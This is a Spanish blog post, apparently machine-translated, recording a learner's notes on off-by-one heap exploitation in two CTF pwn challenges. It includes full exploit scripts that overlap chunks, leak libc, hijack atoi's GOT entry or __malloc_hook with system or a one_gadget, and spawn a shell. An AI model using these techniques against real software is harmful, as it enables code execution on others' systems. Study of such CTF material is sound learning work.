Compartir tecnología

Acerca del aprendizaje uno por uno

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

La base de pwn aún es muy superficial. Solo registro parte de mi experiencia de aprendizaje.
A medida que avance el estudio, se agregarán puntos de conocimiento y preguntas adicionales.

Puntos de conocimiento

Excelente material de estudio

Resumen de aprendizaje sobre off por null |

Extensión y superposición de fragmentos | ctfwiki

un poco de comprension

Estrechamente relacionado con el off-by-one está el Chunk Extend y Overlapping mencionado anteriormente.
A esto se le suele denominar "bloques superpuestos".
¿Por qué crear bloques superpuestos?
Por ejemplo, si queremos reescribir el campo de encabezado de un fragmento, es decir, los segmentos prev_size y size, definitivamente no podremos cambiarlo aplicándolo directamente.
Una idea es construir un fragmento falso fuera de lugar. Otra idea más simple es crear fragmentos superpuestos. Al modificar el tamaño del bit, la parte de datos de usuario de un fragmento grande incluye el encabezado de la parte pequeña que queremos modificar.

ejemplo

[buu] Creador de montón de control de hits

tema

Creo que esta pregunta es un buen ejemplo de cómo utilizar uno por uno. Las preguntas no son muy difíciles y los puntos de uso son bastante inteligentes.

Descompilar para encontrar lagunas,
imagennnnnnnnnnnnnnnnnnnnnnn
Aquí hay un desfase artificial por uno, y aquí se puede escribir un byte más.

Volviendo a la asignación de temas,imagennnnnnnnnnnnnnnnnnnnnnn
Primero, se asigna un fragmento de tamaño 0x10 para almacenar cierta información y luego se asigna un fragmento para el contenido.
Quedará muy claro si observa la depuración de gdb aquí.

Por ejemplo, el diseño del bloque del montón después de agregar(0x28,'0'),add(0x10,'1')
imagennnnnnnnnnnnnnnnnnnnnnn

Puede ver que cada vez que agregamos, primero asignaremos un fragmento que almacena información del bloque del montón en una dirección baja y luego asignamos un fragmento que almacena contenido.

Luego me di cuenta de que las operaciones de edición y visualización se realizan a través deInformación del bloque del montónestructura para "indexar", luego, si queremos filtrar libc, podemos poner la información del bloque de montón de este fragmento *content El campo se modifica a la dirección de la tabla obtenida de una determinada función. Por ejemplo, si se usa atoi en esta pregunta, entonces atoi_addr se imprimirá durante la presentación.

Esto implica una situación similar a la anterior "Pequeña comprensión". No podemos modificar directamente el contenido del fragmento que "almacena la información del bloque del montón", por lo que podemos usar off-by-one de manera más inteligente para implementar la extensión del bloque del montón. .

Por ejemplo, si lo modificamos así, en realidad puede causar la expansión y superposición de los bloques del montón.
imagennnnnnnnnnnnnnnnnnnnnnn

Hablemos de la utilización específica a continuación.

  1. Primero necesitamos modificar un bloque de montón de "información del montón de almacenamiento".tamañoparte.
    Este paso se puede lograr mediante una vulnerabilidad uno por uno en la pila de contenido encima de esta pila de información.
  2. Luego liberamos el índice del fragmento correspondiente a este bloque de montón de información.
  3. En este momento, según la implementación de delete_heap
    imagennnnnnnnnnnnnnnnnnnnnnn

Tanto el bloque del montón de información como el bloque del montón de contenido serán gratuitos, por lo que en este momento hay dos contenedores de tamaño de 0x20 y 0x40 en fastbins.

imagennnnnnnnnnnnnnnnnnnnnnn

  1. En este momento, agregamos un fragmento de 0x30 y el fastbin de 0x40 se aplicará como un bloque de pila de contenido, y se aplicará un bloque de pila de información de 0x20, por lo que también se aplicará el contenedor de 0x20.

imagennnnnnnnnnnnnnnnnnnnnnn

  1. El punto clave de esta pregunta es quebloque de información ¡Se determinan el tamaño y el contenido del fragmento correspondiente! Por lo tanto, el contenido del bloque del montón de información correspondiente se puede sobrescribir en el paso anterior de add(0x30). De esta manera, el contenido se puede cambiar a la tabla got de atoi y show(1) puede filtrar libc.
  2. Dado que se cambió la dirección del contenido de chunk1, edit(1) puede cambiar el contenido de la tabla got de atoi al sistema y luego enviar "/bin/shx00" para obtener el shell.

Por supuesto, hay algunos detalles, como la última selección de tamaño mencionada de 0x18 y 0x28, y la necesidad de reservar el contenido de la pila de información al modificarla.tamañocampos (de lo contrario, la edición final no tendrá la longitud necesaria para escribirla), etc.

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

En realidad, hay otro punto clave en esta pregunta, y también era el punto que me confundió al principio. La adición inicial de chunk0 de EXP de Master ZIKH es 0x18. En mi propia práctica, cambiarlo a 0x10 o 0x20 no funcionó, pero cambiarlo a 0x28 funcionó.
La depuración encontró que cuando se cambia a 0x10, 0x20, nuestros datos de usuario no habilitarán el siguiente fragmento.tamaño anteriorde.
imagennnnnnnnnnnnnnnnnnnnnnn

Al asignar 0x18, 0x28, etc., el mecanismo ptmalloc2 reutilizará el segmento prev_size de next_chunk.
imagennnnnnnnnnnnnnnnnnnnnnn

Emmm, de hecho, en última instancia, todavía no estoy lo suficientemente familiarizado con el montón. Después de todo, con solo mirar la explicación de la wiki, hay tantos puntos de conocimiento y los detalles son complicados, lo que hace que sea difícil de recordar. Por supuesto, lo he encontrado en combates reales. Será mucho mejor después de depurarlo yo mismo y comprenderlo nuevamente.

[buu] roarctf_2019_easy_pwn

tema

El error de la pregunta está aquí.imagennnnnnnnnnnnnnnnnnnnnnn

Cuando a2-a1==10 está en el if, es decir, cuando el tamaño ingresado por edición es exactamente 10 más grande que el tamaño agregado, hay un apagado por uno.

Estructura de asignación aproximada
imagennnnnnnnnnnnnnnnnnnnnnn

O use el segmento bss para almacenar el inuse y el inuse del fragmento.*content

Todavía podemos usar off-by-one combinado con las características de tamaño 0x?8, reutilizar prev_size para falsificar prev_size y size para activar la fusión directa (dirección baja)
imagennnnnnnnnnnnnnnnnnnnnnn

En este momento, puede ver que la fusión se activa mediante free (2).
imagennnnnnnnnnnnnnnnnnnnnnn

En este momento, si sumamos (0x80) y luego mostramos (1), podemos imprimir el valor de main_arena+88.
imagennnnnnnnnnnnnnnnnnnnnnn

Según tengo entendido, el add(0x80) aquí es para dividir el bin no clasificado, de modo que el puntero fd (main_arena+88) se mueva al segmento chunk1 que se puede mostrar.

En este punto, se filtra la dirección base de libc.
Parece que las siguientes operaciones implican muchos bloques de montón superpuestos, así que echemos un vistazo a la depuración paso a paso.
Diseño del montón cuando se filtra libc
imagennnnnnnnnnnnnnnnnnnnnnn

add(0x68)
imagennnnnnnnnnnnnnnnnnnnnnn
(Corte un trozo del contenedor sin clasificar)

free(1)
(contenedor rápido 0x70)
imagennnnnnnnnnnnnnnnnnnnnnn

edit(2,p64(malloc_hook-0x23))
(Aquí aprovechamos el hecho de que el fragmento 2 de 0x68 solicitado en el paso anterior se superpone con el fragmento 1 que se acaba de liberar (el fragmento 1 se solicitó al principio))
imagennnnnnnnnnnnnnnnnnnnnnn

add(0x68)
(Solicitando trozo1, en realidad es trozo2)
imagennnnnnnnnnnnnnnnnnnnnnn

add(0x68)
(Solicite devolver el fake_chunk en malloc_hook-0x23)
imagennnnnnnnnnnnnnnnnnnnnnn

Luego, debe usar realloc para ajustar el marco de la pila y podrá obtener el shell.

Entonces puedo comunicarme localmente, pero no de forma remota.
Después de ver la Exp del Maestro ZIKH, necesito usar el local
realloc = libcbase + libc.sym['realloc']Cambiar arealloc = libcbase + 0x846c0
Entonces tienes que cambiar el valor de one_gadget.
imagennnnnnnnnnnnnnnnnnnnnnn

Estos dos one_gadgets tienen un desplazamiento. No sé por qué en este momento. ¿Quizás tenga algo que ver con el ajuste del marco de la pila? (Aprenda más tarde)

Juega Exp local:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

local:
imagennnnnnnnnnnnnnnnnnnnnnn

De forma remota:
imagennnnnnnnnnnnnnnnnnnnnnn


En resumen, es difícil.